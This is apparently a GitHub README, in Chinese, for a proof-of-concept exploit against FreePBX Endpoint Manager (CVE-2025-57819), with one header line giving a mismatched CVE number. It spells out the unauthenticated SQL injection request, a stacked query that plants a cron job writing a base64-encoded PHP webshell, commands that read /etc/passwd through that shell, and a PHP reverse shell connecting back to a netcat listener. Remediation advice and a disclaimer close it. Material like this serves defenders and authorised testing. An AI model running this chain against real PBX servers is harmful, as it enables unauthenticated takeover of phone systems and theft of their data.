jf-gondim/freepbx-endpoint-sqli-rce

GitHub: jf-gondim/freepbx-endpoint-sqli-rce

针对 FreePBX Endpoint Manager 模块 CVE-2025-7819 的未认证 SQL 注入到远程代码执行漏洞的 PoC 利用工具。

Stars: 0 | Forks: 0

# CVE-2025-57819 — FreePBX Endpoint 模块 SQL 注入 → 远程代码执行 ## 摘要 FreePBX 是 Asterisk PBX 的开源 Web GUI,广泛应用于企业电话系统中。**Endpoint Manager** 模块在 `/admin/ajax.php` 暴露了一个 AJAX 处理程序,该程序接受一个 `brand` 参数,并在未经清理的情况下将其直接插入到 SQL 查询中。未经身份验证的远程攻击者可以注入任意 SQL,向 `cron_jobs` 表中插入一行数据,并利用 FreePBX cron 守护进程将一个可执行的 PHP webshell 写入到 Web 根目录——从而在约一分钟内实现未经身份验证的远程代码执行。 ## 漏洞详情 | 字段 | 值 | |-------------------|-------| | **CVE ID** | CVE-2025-57819 | | **CVSS Score** | 9.8 (Critical) | | **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **CWE** | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) — SQL 命令中使用的特殊元素处理不当 | | **组件** | FreePBX Endpoint Manager 模块 | | **受影响版本** | FreePBX 17.x (未修补) | | **已修补版本** | FreePBX 17.x (已修补) | | **攻击向量** | 网络 — 无需身份验证 | ## 技术分析 该易受攻击的请求针对 Endpoint Manager 的 AJAX 命令处理程序: ``` GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand= HTTP/1.1 Host: ``` `brand` 参数在未经过转义或使用预编译语句的情况下被直接拼接到 SQL 查询中。攻击者可以闭合查询字符串并追加第二条语句: ``` x' ;INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) VALUES ('sysadmin', 'webshell', 'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php', NULL, '* * * * *', 30, 1, 1) -- ``` 注入的 cron 条目在 Web 服务器/Asterisk 进程所有者的权限下每分钟运行一次,并将以下内容写入: ``` ``` 写入到 `/var/www/html/webshell.php`,从而允许通过 HTTP 执行未经身份验证的 OS 命令。 ### 根本原因 Endpoint Manager 的 AJAX 处理程序使用字符串格式化而不是参数化查询来动态构建 SQL。`brand` 字段在嵌入到 `SELECT` 语句之前从未经过验证或转义,使其极易被注入。 ### 攻击链 ``` Attacker ──GET (SQL injection)──▶ /admin/ajax.php ──INSERT──▶ cron_jobs table │ FreePBX cron daemon (≤60s) │ ▼ Attacker ──GET ?cmd=id──────────▶ /webshell.php ◀── written ── cron exec ``` ## Exploit 用法 ### 前置要求 ``` pip install requests urllib3 ``` ### 参数 ``` -t, --target Target IP address or hostname (required) --timeout Seconds to wait for target availability (default: 30) --delay Seconds to wait for cron job to execute (default: 65) ``` ### 操作步骤 **1. 针对目标运行 exploit:** ``` # 基本 — 等待 65 秒以触发 cron job python3 exploit.py -t # 使用 hostname python3 exploit.py -t connected.htb # 对慢速目标进行 Extended cron wait python3 exploit.py -t --delay 90 ``` **2. 如果确认 webshell 存在,直接与其进行交互:** ``` curl "http:///webshell.php?cmd=id" curl "http:///webshell.php?cmd=cat+/etc/passwd" ``` **3. 通过 webshell 升级为反向 shell:** 在你的机器上启动一个监听器: ``` nc -lvnp ``` 然后通过 `cmd` 参数(URL 编码)触发一个 PHP 反向 shell: ``` curl "http:///webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22%22%2C%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27" ``` 作为 `cmd` 发送的 URL 解码 payload 为: ``` php -r '$sock=fsockopen("",);system("/bin/bash <&3 >&3 2>&3");' ``` ### 预期输出 ``` ╔═══════════════════════════════════════════════════════════════════╗ ║ FreePBX Endpoint Module · SQL Injection → Cron Webshell ║ ║ CVE-2025-57819 ║ ╚═══════════════════════════════════════════════════════════════════╝ CVE ID : CVE-2025-57819 Component : FreePBX Endpoint Module Affected : unpatched 17.x → Patched: patched 17.x CVSS Score : 9.8 (Critical) CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE : CWE-89 — SQL Injection Type : Unauthenticated SQL Injection → Cron-scheduled PHP Webshell Reference : https://nvd.nist.gov/vuln/detail/CVE-2025-57819 14:03:11 [*] Probing target (max 30s) ... 14:03:12 [+] Target is alive — HTTP 200 14:03:12 [*] Inject endpoint : http:///admin/ajax.php 14:03:12 [!] Injecting cron job via SQL injection ... 14:03:12 [+] Injection request sent 14:03:12 [*] Waiting 65s for cron job to fire ... 14:04:17 [*] Probing webshell at http:///webshell.php?cmd=id ... 14:04:17 [+] Webshell is active — command output: uid=997(asterisk) gid=993(asterisk) groups=993(asterisk) 14:04:17 [+] Webshell URL: http:///webshell.php?cmd= 14:04:17 [+] Exploit routine complete. ``` ## 修复建议 | 优先级 | 操作 | |--------------|--------| | **紧急** | 立即应用 FreePBX 官方针对 CVE-2025-57819 的补丁 | | **紧急** | 删除任何已存在的 `/var/www/html/webshell.php` 文件 | | **高** | 将对 `/admin/ajax.php` 的访问限制为经过身份验证且受信任的网络源 | | **高** | 审查并清理 Endpoint Manager 中的所有 SQL 查询 — 使用预编译语句 | | **中** | 限制 `cron_jobs` 表:严格控制哪些角色可以执行 INSERT 操作 | | **中** | 应用 WAF 规则,拦截 AJAX endpoint 上的堆叠查询模式 | | **低** | 以最小权限账户运行 FreePBX/Asterisk 进程,并禁止其对 Web 根目录的写入权限 | ## 参考文献 - [NVD — CVE-2025-57819](https://nvd.nist.gov/vuln/detail/CVE-2025-57819) - [CWE-89: SQL 注入](https://cwe.mitre.org/data/definitions/89.html) - [OWASP: SQL 注入](https://owasp.org/www-community/attacks/SQL_Injection) - [OWASP Top 10: A03 注入](https://owasp.org/Top10/A03_2021-Injection/) - [FreePBX 项目](https://www.freepbx.org/) - [watchTowr Labs 参考 PoC](https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819/tree/main) ## 免责声明 此 exploit 仅供**教育目的和经授权的安全测试**使用。仅对你拥有或已获得明确书面测试许可的系统使用。未经授权的使用是非法且不道德的。
标签:CISA项目, FreePBX, WebShell, 安全漏洞, 编程工具, 远程代码执行, 逆向工具